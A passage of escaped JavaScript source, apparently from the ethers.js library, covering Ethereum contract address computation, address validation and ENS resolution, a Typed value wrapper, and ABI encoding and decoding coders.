assertArgument } from \"../utils/index.js\";\nimport { getAddress } from \"./address.js\";\n// http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed\n/**\n * Returns the address that would result from a ``CREATE`` for %%tx%%.\n *\n * This can be used to compute the address a contract will be\n * deployed to by an EOA when sending a deployment transaction (i.e.\n * when the ``to`` address is ``null``).\n *\n * This can also be used to compute the address a contract will be\n * deployed to by a contract, by using the contract's address as the\n * ``to`` and the contract's nonce.\n *\n * @example\n * from = \"0x8ba1f109551bD432803012645Ac136ddd64DBA72\";\n * nonce = 5;\n *\n * getCreateAddress({ from, nonce });\n * //_result:\n */\nexport function getCreateAddress(tx) {\n const from = getAddress(tx.from);\n const nonce = getBigInt(tx.nonce, \"tx.nonce\");\n let nonceHex = nonce.toString(16);\n if (nonceHex === \"0\") {\n nonceHex = \"0x\";\n }\n else if (nonceHex.length % 2) {\n nonceHex = \"0x0\" + nonceHex;\n }\n else {\n nonceHex = \"0x\" + nonceHex;\n }\n return getAddress(dataSlice(keccak256(encodeRlp([from, nonceHex])), 12));\n}\n/**\n * Returns the address that would result from a ``CREATE2`` operation\n * with the given %%from%%, %%salt%% and %%initCodeHash%%.\n *\n * To compute the %%initCodeHash%% from a contract's init code, use\n * the [[keccak256]] function.\n *\n * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]].\n *\n * @example\n * // The address of the contract\n * from = \"0x8ba1f109551bD432803012645Ac136ddd64DBA72\"\n *\n * // The salt\n * salt = id(\"HelloWorld\")\n *\n * // The hash of the initCode\n * initCode = \"0x6394198df16000526103ff60206004601c335afa6040516060f3\";\n * initCodeHash = keccak256(initCode)\n *\n * getCreate2Address(from, salt, initCodeHash)\n * //_result:\n */\nexport function getCreate2Address(_from, _salt, _initCodeHash) {\n const from = getAddress(_from);\n const salt = getBytes(_salt, \"salt\");\n const initCodeHash = getBytes(_initCodeHash, \"initCodeHash\");\n assertArgument(salt.length === 32, \"salt must be 32 bytes\", \"salt\", _salt);\n assertArgument(initCodeHash.length === 32, \"initCodeHash must be 32 bytes\", \"initCodeHash\", _initCodeHash);\n return getAddress(dataSlice(keccak256(concat([\"0xff\", from, salt, initCodeHash])), 12));\n}\n//# sourceMappingURL=contract-address.js.map","import { assert, assertArgument } from \"../utils/index.js\";\nimport { getAddress } from \"./address.js\";\n/**\n * Returns true if %%value%% is an object which implements the\n * [[Addressable]] interface.\n *\n * @example:\n * // Wallets and AbstractSigner sub-classes\n * isAddressable(Wallet.createRandom())\n * //_result:\n *\n * // Contracts\n * contract = new Contract(\"dai.tokens.ethers.eth\", [ ], provider)\n * isAddressable(contract)\n * //_result:\n */\nexport function isAddressable(value) {\n return (value && typeof (value.getAddress) === \"function\");\n}\n/**\n * Returns true if %%value%% is a valid address.\n *\n * @example:\n * // Valid address\n * isAddress(\"0x8ba1f109551bD432803012645Ac136ddd64DBA72\")\n * //_result:\n *\n * // Valid ICAP address\n * isAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36\")\n * //_result:\n *\n * // Invalid checksum\n * isAddress(\"0x8Ba1f109551bD432803012645Ac136ddd64DBa72\")\n * //_result:\n *\n * // Invalid ICAP checksum\n * isAddress(\"0x8Ba1f109551bD432803012645Ac136ddd64DBA72\")\n * //_result:\n *\n * // Not an address (an ENS name requires a provided and an\n * // asynchronous API to access)\n * isAddress(\"ricmoo.eth\")\n * //_result:\n */\nexport function isAddress(value) {\n try {\n getAddress(value);\n return true;\n }\n catch (error) { }\n return false;\n}\nasync function checkAddress(target, promise) {\n const result = await promise;\n if (result == null || result === \"0x0000000000000000000000000000000000000000\") {\n assert(typeof (target) !== \"string\", \"unconfigured name\", \"UNCONFIGURED_NAME\", { value: target });\n assertArgument(false, \"invalid AddressLike value; did not resolve to a value address\", \"target\", target);\n }\n return getAddress(result);\n}\n/**\n * Resolves to an address for the %%target%%, which may be any\n * supported address type, an [[Addressable]] or a Promise which\n * resolves to an address.\n *\n * If an ENS name is provided, but that name has not been correctly\n * configured a [[UnconfiguredNameError]] is thrown.\n *\n * @example:\n * addr = \"0x6B175474E89094C44Da98b954EedeAC495271d0F\"\n *\n * // Addresses are return synchronously\n * resolveAddress(addr, provider)\n * //_result:\n *\n * // Address promises are resolved asynchronously\n * resolveAddress(Promise.resolve(addr))\n * //_result:\n *\n * // ENS names are resolved asynchronously\n * resolveAddress(\"dai.tokens.ethers.eth\", provider)\n * //_result:\n *\n * // Addressable objects are resolved asynchronously\n * contract = new Contract(addr, [ ])\n * resolveAddress(contract, provider)\n * //_result:\n *\n * // Unconfigured ENS names reject\n * resolveAddress(\"nothing-here.ricmoo.eth\", provider)\n * //_error:\n *\n * // ENS names require a NameResolver object passed in\n * // (notice the provider was omitted)\n * resolveAddress(\"nothing-here.ricmoo.eth\")\n * //_error:\n */\nexport function resolveAddress(target, resolver) {\n if (typeof (target) === \"string\") {\n if (target.match(/^0x[0-9a-f]{40}$/i)) {\n return getAddress(target);\n }\n assert(resolver != null, \"ENS resolution requires a provider\", \"UNSUPPORTED_OPERATION\", { operation: \"resolveName\" });\n return checkAddress(target, resolver.resolveName(target));\n }\n else if (isAddressable(target)) {\n return checkAddress(target, target.getAddress());\n }\n else if (target && typeof (target.then) === \"function\") {\n return checkAddress(target, target);\n }\n assertArgument(false, \"unsupported addressable value\", \"target\", target);\n}\n//# sourceMappingURL=checks.js.map","/**\n * A Typed object allows a value to have its type explicitly\n * specified.\n *\n * For example, in Solidity, the value ``45`` could represent a\n * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent\n * a ``bytes2`` or ``bytes``.\n *\n * Since JavaScript has no meaningful way to explicitly inform any\n * APIs which what the type is, this allows transparent interoperation\n * with Soldity.\n *\n * @_subsection: api/abi:Typed Values\n */\nimport { assertPrivate, defineProperties } from \"../utils/index.js\";\nconst _gaurd = {};\nfunction n(value, width) {\n let signed = false;\n if (width < 0) {\n signed = true;\n width *= -1;\n }\n // @TODO: Check range is valid for value\n return new Typed(_gaurd, `${signed ? \"\" : \"u\"}int${width}`, value, { signed, width });\n}\nfunction b(value, size) {\n // @TODO: Check range is valid for value\n return new Typed(_gaurd, `bytes${(size) ? size : \"\"}`, value, { size });\n}\nconst _typedSymbol = Symbol.for(\"_ethers_typed\");\n/**\n * The **Typed** class to wrap values providing explicit type information.\n */\nexport class Typed {\n /**\n * The type, as a Solidity-compatible type.\n */\n type;\n /**\n * The actual value.\n */\n value;\n #options;\n /**\n * @_ignore:\n */\n _typedSymbol;\n /**\n * @_ignore:\n */\n constructor(gaurd, type, value, options) {\n if (options == null) {\n options = null;\n }\n assertPrivate(_gaurd, gaurd, \"Typed\");\n defineProperties(this, { _typedSymbol, type, value });\n this.#options = options;\n // Check the value is valid\n this.format();\n }\n /**\n * Format the type as a Human-Readable type.\n */\n format() {\n if (this.type === \"array\") {\n throw new Error(\"\");\n }\n else if (this.type === \"dynamicArray\") {\n throw new Error(\"\");\n }\n else if (this.type === \"tuple\") {\n return `tuple(${this.value.map((v) => v.format()).join(\",\")})`;\n }\n return this.type;\n }\n /**\n * The default value returned by this type.\n */\n defaultValue() {\n return 0;\n }\n /**\n * The minimum value for numeric types.\n */\n minValue() {\n return 0;\n }\n /**\n * The maximum value for numeric types.\n */\n maxValue() {\n return 0;\n }\n /**\n * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]].\n */\n isBigInt() {\n return !!(this.type.match(/^u?int[0-9]+$/));\n }\n /**\n * Returns ``true`` and provides a type guard is this is a [[TypedData]].\n */\n isData() {\n return this.type.startsWith(\"bytes\");\n }\n /**\n * Returns ``true`` and provides a type guard is this is a [[TypedString]].\n */\n isString() {\n return (this.type === \"string\");\n }\n /**\n * Returns the tuple name, if this is a tuple. Throws otherwise.\n */\n get tupleName() {\n if (this.type !== \"tuple\") {\n throw TypeError(\"not a tuple\");\n }\n return this.#options;\n }\n // Returns the length of this type as an array\n // - `null` indicates the length is unforced, it could be dynamic\n // - `-1` indicates the length is dynamic\n // - any other value indicates it is a static array and is its length\n /**\n * Returns the length of the array type or ``-1`` if it is dynamic.\n *\n * Throws if the type is not an array.\n */\n get arrayLength() {\n if (this.type !== \"array\") {\n throw TypeError(\"not an array\");\n }\n if (this.#options === true) {\n return -1;\n }\n if (this.#options === false) {\n return (this.value).length;\n }\n return null;\n }\n /**\n * Returns a new **Typed** of %%type%% with the %%value%%.\n */\n static from(type, value) {\n return new Typed(_gaurd, type, value);\n }\n /**\n * Return a new ``uint8`` type for %%v%%.\n */\n static uint8(v) { return n(v, 8); }\n /**\n * Return a new ``uint16`` type for %%v%%.\n */\n static uint16(v) { return n(v, 16); }\n /**\n * Return a new ``uint24`` type for %%v%%.\n */\n static uint24(v) { return n(v, 24); }\n /**\n * Return a new ``uint32`` type for %%v%%.\n */\n static uint32(v) { return n(v, 32); }\n /**\n * Return a new ``uint40`` type for %%v%%.\n */\n static uint40(v) { return n(v, 40); }\n /**\n * Return a new ``uint48`` type for %%v%%.\n */\n static uint48(v) { return n(v, 48); }\n /**\n * Return a new ``uint56`` type for %%v%%.\n */\n static uint56(v) { return n(v, 56); }\n /**\n * Return a new ``uint64`` type for %%v%%.\n */\n static uint64(v) { return n(v, 64); }\n /**\n * Return a new ``uint72`` type for %%v%%.\n */\n static uint72(v) { return n(v, 72); }\n /**\n * Return a new ``uint80`` type for %%v%%.\n */\n static uint80(v) { return n(v, 80); }\n /**\n * Return a new ``uint88`` type for %%v%%.\n */\n static uint88(v) { return n(v, 88); }\n /**\n * Return a new ``uint96`` type for %%v%%.\n */\n static uint96(v) { return n(v, 96); }\n /**\n * Return a new ``uint104`` type for %%v%%.\n */\n static uint104(v) { return n(v, 104); }\n /**\n * Return a new ``uint112`` type for %%v%%.\n */\n static uint112(v) { return n(v, 112); }\n /**\n * Return a new ``uint120`` type for %%v%%.\n */\n static uint120(v) { return n(v, 120); }\n /**\n * Return a new ``uint128`` type for %%v%%.\n */\n static uint128(v) { return n(v, 128); }\n /**\n * Return a new ``uint136`` type for %%v%%.\n */\n static uint136(v) { return n(v, 136); }\n /**\n * Return a new ``uint144`` type for %%v%%.\n */\n static uint144(v) { return n(v, 144); }\n /**\n * Return a new ``uint152`` type for %%v%%.\n */\n static uint152(v) { return n(v, 152); }\n /**\n * Return a new ``uint160`` type for %%v%%.\n */\n static uint160(v) { return n(v, 160); }\n /**\n * Return a new ``uint168`` type for %%v%%.\n */\n static uint168(v) { return n(v, 168); }\n /**\n * Return a new ``uint176`` type for %%v%%.\n */\n static uint176(v) { return n(v, 176); }\n /**\n * Return a new ``uint184`` type for %%v%%.\n */\n static uint184(v) { return n(v, 184); }\n /**\n * Return a new ``uint192`` type for %%v%%.\n */\n static uint192(v) { return n(v, 192); }\n /**\n * Return a new ``uint200`` type for %%v%%.\n */\n static uint200(v) { return n(v, 200); }\n /**\n * Return a new ``uint208`` type for %%v%%.\n */\n static uint208(v) { return n(v, 208); }\n /**\n * Return a new ``uint216`` type for %%v%%.\n */\n static uint216(v) { return n(v, 216); }\n /**\n * Return a new ``uint224`` type for %%v%%.\n */\n static uint224(v) { return n(v, 224); }\n /**\n * Return a new ``uint232`` type for %%v%%.\n */\n static uint232(v) { return n(v, 232); }\n /**\n * Return a new ``uint240`` type for %%v%%.\n */\n static uint240(v) { return n(v, 240); }\n /**\n * Return a new ``uint248`` type for %%v%%.\n */\n static uint248(v) { return n(v, 248); }\n /**\n * Return a new ``uint256`` type for %%v%%.\n */\n static uint256(v) { return n(v, 256); }\n /**\n * Return a new ``uint256`` type for %%v%%.\n */\n static uint(v) { return n(v, 256); }\n /**\n * Return a new ``int8`` type for %%v%%.\n */\n static int8(v) { return n(v, -8); }\n /**\n * Return a new ``int16`` type for %%v%%.\n */\n static int16(v) { return n(v, -16); }\n /**\n * Return a new ``int24`` type for %%v%%.\n */\n static int24(v) { return n(v, -24); }\n /**\n * Return a new ``int32`` type for %%v%%.\n */\n static int32(v) { return n(v, -32); }\n /**\n * Return a new ``int40`` type for %%v%%.\n */\n static int40(v) { return n(v, -40); }\n /**\n * Return a new ``int48`` type for %%v%%.\n */\n static int48(v) { return n(v, -48); }\n /**\n * Return a new ``int56`` type for %%v%%.\n */\n static int56(v) { return n(v, -56); }\n /**\n * Return a new ``int64`` type for %%v%%.\n */\n static int64(v) { return n(v, -64); }\n /**\n * Return a new ``int72`` type for %%v%%.\n */\n static int72(v) { return n(v, -72); }\n /**\n * Return a new ``int80`` type for %%v%%.\n */\n static int80(v) { return n(v, -80); }\n /**\n * Return a new ``int88`` type for %%v%%.\n */\n static int88(v) { return n(v, -88); }\n /**\n * Return a new ``int96`` type for %%v%%.\n */\n static int96(v) { return n(v, -96); }\n /**\n * Return a new ``int104`` type for %%v%%.\n */\n static int104(v) { return n(v, -104); }\n /**\n * Return a new ``int112`` type for %%v%%.\n */\n static int112(v) { return n(v, -112); }\n /**\n * Return a new ``int120`` type for %%v%%.\n */\n static int120(v) { return n(v, -120); }\n /**\n * Return a new ``int128`` type for %%v%%.\n */\n static int128(v) { return n(v, -128); }\n /**\n * Return a new ``int136`` type for %%v%%.\n */\n static int136(v) { return n(v, -136); }\n /**\n * Return a new ``int144`` type for %%v%%.\n */\n static int144(v) { return n(v, -144); }\n /**\n * Return a new ``int52`` type for %%v%%.\n */\n static int152(v) { return n(v, -152); }\n /**\n * Return a new ``int160`` type for %%v%%.\n */\n static int160(v) { return n(v, -160); }\n /**\n * Return a new ``int168`` type for %%v%%.\n */\n static int168(v) { return n(v, -168); }\n /**\n * Return a new ``int176`` type for %%v%%.\n */\n static int176(v) { return n(v, -176); }\n /**\n * Return a new ``int184`` type for %%v%%.\n */\n static int184(v) { return n(v, -184); }\n /**\n * Return a new ``int92`` type for %%v%%.\n */\n static int192(v) { return n(v, -192); }\n /**\n * Return a new ``int200`` type for %%v%%.\n */\n static int200(v) { return n(v, -200); }\n /**\n * Return a new ``int208`` type for %%v%%.\n */\n static int208(v) { return n(v, -208); }\n /**\n * Return a new ``int216`` type for %%v%%.\n */\n static int216(v) { return n(v, -216); }\n /**\n * Return a new ``int224`` type for %%v%%.\n */\n static int224(v) { return n(v, -224); }\n /**\n * Return a new ``int232`` type for %%v%%.\n */\n static int232(v) { return n(v, -232); }\n /**\n * Return a new ``int240`` type for %%v%%.\n */\n static int240(v) { return n(v, -240); }\n /**\n * Return a new ``int248`` type for %%v%%.\n */\n static int248(v) { return n(v, -248); }\n /**\n * Return a new ``int256`` type for %%v%%.\n */\n static int256(v) { return n(v, -256); }\n /**\n * Return a new ``int256`` type for %%v%%.\n */\n static int(v) { return n(v, -256); }\n /**\n * Return a new ``bytes1`` type for %%v%%.\n */\n static bytes1(v) { return b(v, 1); }\n /**\n * Return a new ``bytes2`` type for %%v%%.\n */\n static bytes2(v) { return b(v, 2); }\n /**\n * Return a new ``bytes3`` type for %%v%%.\n */\n static bytes3(v) { return b(v, 3); }\n /**\n * Return a new ``bytes4`` type for %%v%%.\n */\n static bytes4(v) { return b(v, 4); }\n /**\n * Return a new ``bytes5`` type for %%v%%.\n */\n static bytes5(v) { return b(v, 5); }\n /**\n * Return a new ``bytes6`` type for %%v%%.\n */\n static bytes6(v) { return b(v, 6); }\n /**\n * Return a new ``bytes7`` type for %%v%%.\n */\n static bytes7(v) { return b(v, 7); }\n /**\n * Return a new ``bytes8`` type for %%v%%.\n */\n static bytes8(v) { return b(v, 8); }\n /**\n * Return a new ``bytes9`` type for %%v%%.\n */\n static bytes9(v) { return b(v, 9); }\n /**\n * Return a new ``bytes10`` type for %%v%%.\n */\n static bytes10(v) { return b(v, 10); }\n /**\n * Return a new ``bytes11`` type for %%v%%.\n */\n static bytes11(v) { return b(v, 11); }\n /**\n * Return a new ``bytes12`` type for %%v%%.\n */\n static bytes12(v) { return b(v, 12); }\n /**\n * Return a new ``bytes13`` type for %%v%%.\n */\n static bytes13(v) { return b(v, 13); }\n /**\n * Return a new ``bytes14`` type for %%v%%.\n */\n static bytes14(v) { return b(v, 14); }\n /**\n * Return a new ``bytes15`` type for %%v%%.\n */\n static bytes15(v) { return b(v, 15); }\n /**\n * Return a new ``bytes16`` type for %%v%%.\n */\n static bytes16(v) { return b(v, 16); }\n /**\n * Return a new ``bytes17`` type for %%v%%.\n */\n static bytes17(v) { return b(v, 17); }\n /**\n * Return a new ``bytes18`` type for %%v%%.\n */\n static bytes18(v) { return b(v, 18); }\n /**\n * Return a new ``bytes19`` type for %%v%%.\n */\n static bytes19(v) { return b(v, 19); }\n /**\n * Return a new ``bytes20`` type for %%v%%.\n */\n static bytes20(v) { return b(v, 20); }\n /**\n * Return a new ``bytes21`` type for %%v%%.\n */\n static bytes21(v) { return b(v, 21); }\n /**\n * Return a new ``bytes22`` type for %%v%%.\n */\n static bytes22(v) { return b(v, 22); }\n /**\n * Return a new ``bytes23`` type for %%v%%.\n */\n static bytes23(v) { return b(v, 23); }\n /**\n * Return a new ``bytes24`` type for %%v%%.\n */\n static bytes24(v) { return b(v, 24); }\n /**\n * Return a new ``bytes25`` type for %%v%%.\n */\n static bytes25(v) { return b(v, 25); }\n /**\n * Return a new ``bytes26`` type for %%v%%.\n */\n static bytes26(v) { return b(v, 26); }\n /**\n * Return a new ``bytes27`` type for %%v%%.\n */\n static bytes27(v) { return b(v, 27); }\n /**\n * Return a new ``bytes28`` type for %%v%%.\n */\n static bytes28(v) { return b(v, 28); }\n /**\n * Return a new ``bytes29`` type for %%v%%.\n */\n static bytes29(v) { return b(v, 29); }\n /**\n * Return a new ``bytes30`` type for %%v%%.\n */\n static bytes30(v) { return b(v, 30); }\n /**\n * Return a new ``bytes31`` type for %%v%%.\n */\n static bytes31(v) { return b(v, 31); }\n /**\n * Return a new ``bytes32`` type for %%v%%.\n */\n static bytes32(v) { return b(v, 32); }\n /**\n * Return a new ``address`` type for %%v%%.\n */\n static address(v) { return new Typed(_gaurd, \"address\", v); }\n /**\n * Return a new ``bool`` type for %%v%%.\n */\n static bool(v) { return new Typed(_gaurd, \"bool\", !!v); }\n /**\n * Return a new ``bytes`` type for %%v%%.\n */\n static bytes(v) { return new Typed(_gaurd, \"bytes\", v); }\n /**\n * Return a new ``string`` type for %%v%%.\n */\n static string(v) { return new Typed(_gaurd, \"string\", v); }\n /**\n * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length.\n */\n static array(v, dynamic) {\n throw new Error(\"not implemented yet\");\n return new Typed(_gaurd, \"array\", v, dynamic);\n }\n /**\n * Return a new ``tuple`` type for %%v%%, with the optional %%name%%.\n */\n static tuple(v, name) {\n throw new Error(\"not implemented yet\");\n return new Typed(_gaurd, \"tuple\", v, name);\n }\n /**\n * Return a new ``uint8`` type for %%v%%.\n */\n static overrides(v) {\n return new Typed(_gaurd, \"overrides\", Object.assign({}, v));\n }\n /**\n * Returns true only if %%value%% is a [[Typed]] instance.\n */\n static isTyped(value) {\n return (value\n && typeof (value) === \"object\"\n && \"_typedSymbol\" in value\n && value._typedSymbol === _typedSymbol);\n }\n /**\n * If the value is a [[Typed]] instance, validates the underlying value\n * and returns it, otherwise returns value directly.\n *\n * This is useful for functions that with to accept either a [[Typed]]\n * object or values.\n */\n static dereference(value, type) {\n if (Typed.isTyped(value)) {\n if (value.type !== type) {\n throw new Error(`invalid type: expecetd ${type}, got ${value.type}`);\n }\n return value.value;\n }\n return value;\n }\n}\n//# sourceMappingURL=typed.js.map","import { getAddress } from \"../../address/index.js\";\nimport { toBeHex } from \"../../utils/maths.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class AddressCoder extends Coder {\n constructor(localName) {\n super(\"address\", \"address\", localName, false);\n }\n defaultValue() {\n return \"0x0000000000000000000000000000000000000000\";\n }\n encode(writer, _value) {\n let value = Typed.dereference(_value, \"string\");\n try {\n value = getAddress(value);\n }\n catch (error) {\n return this._throwError(error.message, _value);\n }\n return writer.writeValue(value);\n }\n decode(reader) {\n return getAddress(toBeHex(reader.readValue(), 20));\n }\n}\n//# sourceMappingURL=address.js.map","import { Coder } from \"./abstract-coder.js\";\n/**\n * Clones the functionality of an existing Coder, but without a localName\n *\n * @_ignore\n */\nexport class AnonymousCoder extends Coder {\n coder;\n constructor(coder) {\n super(coder.name, coder.type, \"_\", coder.dynamic);\n this.coder = coder;\n }\n defaultValue() {\n return this.coder.defaultValue();\n }\n encode(writer, value) {\n return this.coder.encode(writer, value);\n }\n decode(reader) {\n return this.coder.decode(reader);\n }\n}\n//# sourceMappingURL=anonymous.js.map","import { defineProperties, isError, assert, assertArgument, assertArgumentCount } from \"../../utils/index.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder, Result, WordSize, Writer } from \"./abstract-coder.js\";\nimport { AnonymousCoder } from \"./anonymous.js\";\n/**\n * @_ignore\n */\nexport function pack(writer, coders, values) {\n let arrayValues = [];\n if (Array.isArray(values)) {\n arrayValues = values;\n }\n else if (values && typeof (values) === \"object\") {\n let unique = {};\n arrayValues = coders.map((coder) => {\n const name = coder.localName;\n assert(name, \"cannot encode object for signature with missing names\", \"INVALID_ARGUMENT\", { argument: \"values\", info: { coder }, value: values });\n assert(!unique[name], \"cannot encode object for signature with duplicate names\", \"INVALID_ARGUMENT\", { argument: \"values\", info: { coder }, value: values });\n unique[name] = true;\n return values[name];\n });\n }\n else {\n assertArgument(false, \"invalid tuple value\", \"tuple\", values);\n }\n assertArgument(coders.length === arrayValues.length, \"types/value length mismatch\", \"tuple\", values);\n let staticWriter = new Writer();\n let dynamicWriter = new Writer();\n let updateFuncs = [];\n coders.forEach((coder, index) => {\n let value = arrayValues[index];\n if (coder.dynamic) {\n // Get current dynamic offset (for the future pointer)\n let dynamicOffset = dynamicWriter.length;\n // Encode the dynamic value into the dynamicWriter\n coder.encode(dynamicWriter, value);\n // Prepare to populate the correct offset once we are done\n let updateFunc = staticWriter.writeUpdatableValue();\n updateFuncs.push((baseOffset) => {\n updateFunc(baseOffset + dynamicOffset);\n });\n }\n else {\n coder.encode(staticWriter, value);\n }\n });\n // Backfill all the dynamic offsets, now that we know the static length\n updateFuncs.forEach((func) => { func(staticWriter.length); });\n let length = writer.appendWriter(staticWriter);\n length += writer.appendWriter(dynamicWriter);\n return length;\n}\n/**\n * @_ignore\n */\nexport function unpack(reader, coders) {\n let values = [];\n let keys = [];\n // A reader anchored to this base\n let baseReader = reader.subReader(0);\n coders.forEach((coder) => {\n let value = null;\n if (coder.dynamic) {\n let offset = reader.readIndex();\n let offsetReader = baseReader.subReader(offset);\n try {\n value = coder.decode(offsetReader);\n }\n catch (error) {\n // Cannot recover from this\n if (isError(error, \"BUFFER_OVERRUN\")) {\n throw error;\n }\n value = error;\n value.baseType = coder.name;\n value.name = coder.localName;\n value.type = coder.type;\n }\n }\n else {\n try {\n value = coder.decode(reader);\n }\n catch (error) {\n // Cannot recover from this\n if (isError(error, \"BUFFER_OVERRUN\")) {\n throw error;\n }\n value = error;\n value.baseType = coder.name;\n value.name = coder.localName;\n value.type = coder.type;\n }\n }\n if (value == undefined) {\n throw new Error(\"investigate\");\n }\n values.push(value);\n keys.push(coder.localName || null);\n });\n return Result.fromItems(values, keys);\n}\n/**\n * @_ignore\n */\nexport class ArrayCoder extends Coder {\n coder;\n length;\n constructor(coder, length, localName) {\n const type = (coder.type + \"[\" + (length >= 0 ? length : \"\") + \"]\");\n const dynamic = (length === -1 || coder.dynamic);\n super(\"array\", type, localName, dynamic);\n defineProperties(this, { coder, length });\n }\n defaultValue() {\n // Verifies the child coder is valid (even if the array is dynamic or 0-length)\n const defaultChild = this.coder.defaultValue();\n const result = [];\n for (let i = 0; i < this.length; i++) {\n result.push(defaultChild);\n }\n return result;\n }\n encode(writer, _value) {\n const value = Typed.dereference(_value, \"array\");\n if (!Array.isArray(value)) {\n this._throwError(\"expected array value\", value);\n }\n let count = this.length;\n if (count === -1) {\n count = value.length;\n writer.writeValue(value.length);\n }\n assertArgumentCount(value.length, count, \"coder array\" + (this.localName ? (\" \" + this.localName) : \"\"));\n let coders = [];\n for (let i = 0; i < value.length; i++) {\n coders.push(this.coder);\n }\n return pack(writer, coders, value);\n }\n decode(reader) {\n let count = this.length;\n if (count === -1) {\n count = reader.readIndex();\n // Check that there is *roughly* enough data to ensure\n // stray random data is not being read as a length. Each\n // slot requires at least 32 bytes for their value (or 32\n // bytes as a link to the data). This could use a much\n // tighter bound, but we are erroring on the side of safety.\n assert(count * WordSize <= reader.dataLength, \"insufficient data length\", \"BUFFER_OVERRUN\", { buffer: reader.bytes, offset: count * WordSize, length: reader.dataLength });\n }\n let coders = [];\n for (let i = 0; i < count; i++) {\n coders.push(new AnonymousCoder(this.coder));\n }\n return unpack(reader, coders);\n }\n}\n//# sourceMappingURL=array.js.map","import { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class BooleanCoder extends Coder {\n constructor(localName) {\n super(\"bool\", \"bool\", localName, false);\n }\n defaultValue() {\n return false;\n }\n encode(writer, _value) {\n const value = Typed.dereference(_value, \"bool\");\n return writer.writeValue(value ? 1 : 0);\n }\n decode(reader) {\n return !!reader.readValue();\n }\n}\n//# sourceMappingURL=boolean.js.map","import { getBytesCopy, hexlify } from \"../../utils/index.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class DynamicBytesCoder extends Coder {\n constructor(type, localName) {\n super(type, type, localName, true);\n }\n defaultValue() {\n return \"0x\";\n }\n encode(writer, value) {\n value = getBytesCopy(value);\n let length = writer.writeValue(value.length);\n length += writer.writeBytes(value);\n return length;\n }\n decode(reader) {\n return reader.readBytes(reader.readIndex(), true);\n }\n}\n/**\n * @_ignore\n */\nexport class BytesCoder extends DynamicBytesCoder {\n constructor(localName) {\n super(\"bytes\", localName);\n }\n decode(reader) {\n return hexlify(super.decode(reader));\n }\n}\n//# sourceMappingURL=bytes.js.map","import { defineProperties, getBytesCopy, hexlify } from \"../../utils/index.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class FixedBytesCoder extends Coder {\n size;\n constructor(size, localName) {\n let name = \"bytes\" + String(size);\n super(name, name, localName, false);\n defineProperties(this, { size }, { size: \"number\" });\n }\n defaultValue() {\n return (\"0x0000000000000000000000000000000000000000000000000000000000000000\").substring(0, 2 + this.size * 2);\n }\n encode(writer, _value) {\n let data = getBytesCopy(Typed.dereference(_value, this.type));\n if (data.length !== this.size) {\n this._throwError(\"incorrect data length\", _value);\n }\n return writer.writeBytes(data);\n }\n decode(reader) {\n return hexlify(reader.readBytes(this.size));\n }\n}\n//# sourceMappingURL=fixed-bytes.js.map","import { Coder } from \"./abstract-coder.js\";\nconst Empty = new Uint8Array([]);\n/**\n * @_ignore\n */\nexport class NullCoder extends Coder {\n constructor(localName) {\n super(\"null\", \"\", localName, false);\n }\n defaultValue() {\n return null;\n }\n encode(writer, value) {\n if (value != null) {\n this._throwError(\"not null\", value);\n }\n return writer.writeBytes(Empty);\n }\n decode(reader) {\n reader.readBytes(0);\n return null;\n }\n}\n//# sourceMappingURL=null.js.map","import { defineProperties, fromTwos, getBigInt, mask, toTwos } from \"../../utils/index.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder, WordSize } from \"./abstract-coder.js\";\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_MAX_UINT256 = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n/**\n * @_ignore\n */\nexport class NumberCoder extends Coder {\n size;\n signed;\n constructor(size, signed, localName) {\n const name = ((signed ? \"int\" : \"uint\") + (size * 8));\n super(name, name, localName, false);\n defineProperties(this, { size, signed }, { size: \"number\", signed: \"boolean\" });\n }\n defaultValue() {\n return 0;\n }\n encode(writer, _value) {\n let value = getBigInt(Typed.dereference(_value, this.type));\n // Check bounds are safe for encoding\n let maxUintValue = mask(BN_MAX_UINT256, WordSize * 8);\n if (this.signed) {\n let bounds = mask(maxUintValue, (this.size * 8) - 1);\n if (value > bounds || value < -(bounds + BN_1)) {\n this._throwError(\"value out-of-bounds\", _value);\n }\n value = toTwos(value, 8 * WordSize);\n }\n else if (value < BN_0 || value > mask(maxUintValue, this.size * 8)) {\n this._throwError(\"value out-of-bounds\", _value);\n }\n return writer.writeValue(value);\n }\n decode(reader) {\n let value = mask(reader.readValue(), this.size * 8);\n if (this.signed) {\n value = fromTwos(value, this.size * 8);\n }\n return value;\n }\n}\n//# sourceMappingURL=number.js.map","import { toUtf8Bytes, toUtf8String } from \"../../utils/utf8.js\";\nimport { Typed } from \"../typed.js\";\nimport { DynamicBytesCoder } from \"./bytes.js\";\n/**\n * @_ignore\n */\nexport class StringCoder extends DynamicBytesCoder {\n constructor(localName) {\n super(\"string\", localName);\n }\n defaultValue() {\n return \"\";\n }\n encode(writer, _value) {\n return super.encode(writer, toUtf8Bytes(Typed.dereference(_value, \"string\")));\n }\n decode(reader) {\n return toUtf8String(super.decode(reader));\n }\n}\n//# sourceMappingURL=string.js.map","import { defineProperties } from \"../../utils/properties.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\nimport { pack, unpack } from \"./array.js\";\n/**\n * @_ignore\n */\nexport class TupleCoder extends Coder {\n coders;\n constructor(coders, localName) {\n let dynamic = false;\n const types = [];\n coders.forEach((coder) => {\n if (coder.dynamic) {\n dynamic = true;\n }\n types.push(coder.type);\n });\n const type = (\"tuple(\" + types.join(\",\") + \")\");\n super(\"tuple\", type, localName, dynamic);\n defineProperties(this, { coders: Object.freeze(coders.slice()) });\n }\n defaultValue() {\n const values = [];\n this.coders.forEach((coder) => {\n values.push(coder.defaultValue());\n 